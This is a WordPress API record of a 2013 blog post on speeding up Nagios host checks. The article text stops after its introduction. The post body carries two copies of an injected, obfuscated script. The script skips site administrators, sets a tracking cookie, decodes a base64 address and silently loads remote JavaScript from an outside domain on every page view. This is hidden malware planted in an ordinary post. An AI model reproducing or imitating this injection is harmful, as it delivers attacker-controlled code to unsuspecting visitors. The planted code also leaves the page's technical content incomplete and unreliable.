{"id":267,"date":"2013-11-07T21:21:02","date_gmt":"2013-11-07T20:21:02","guid":{"rendered":"http:\/\/blog.it-admin.sk\/?p=267"},"modified":"2025-10-27T02:25:06","modified_gmt":"2025-10-27T01:25:06","slug":"zrychlujeme-nagios-ii","status":"publish","type":"post","link":"https:\/\/blog.it-admin.sk\/en\/2013\/11\/zrychlujeme-nagios-ii\/","title":{"rendered":"Speeding up Nagios II."},"content":{"rendered":"<p>In <a title=\"Speeding up Nagios I.\" href=\"http:\/\/blog.it-admin.sk\/2013\/04\/zrychlujeme-nagios\/\">previous article<\/a> of this miniseries we showed how to dramatically speed up <a title=\"Nagios\" href=\"http:\/\/nagios.org\">Nagios<\/a> by putting the spool directory into RAMdisk. Today we are going to look at speeding up the very basic check of every host. Like the previous improvement, this came up from real need to eliminate false-positives on the network, too.<br \/>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>In previous article of this miniseries we showed how to dramatically speed up Nagios by putting the spool directory into RAMdisk. Today we are going to look at speeding up the very basic check of every host. Like the previous improvement, this came up from real need to eliminate false-positives &#8230;<\/p>\n","protected":false},"author":1,"featured_media":187,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34,35],"tags":[],"class_list":["post-267","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-monitoring","category-nagios","has-thumbnail"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/267","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/comments?post=267"}],"version-history":[{"count":4,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/267\/revisions"}],"predecessor-version":[{"id":674,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/267\/revisions\/674"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/media\/187"}],"wp:attachment":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/media?parent=267"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/categories?post=267"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/tags?post=267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}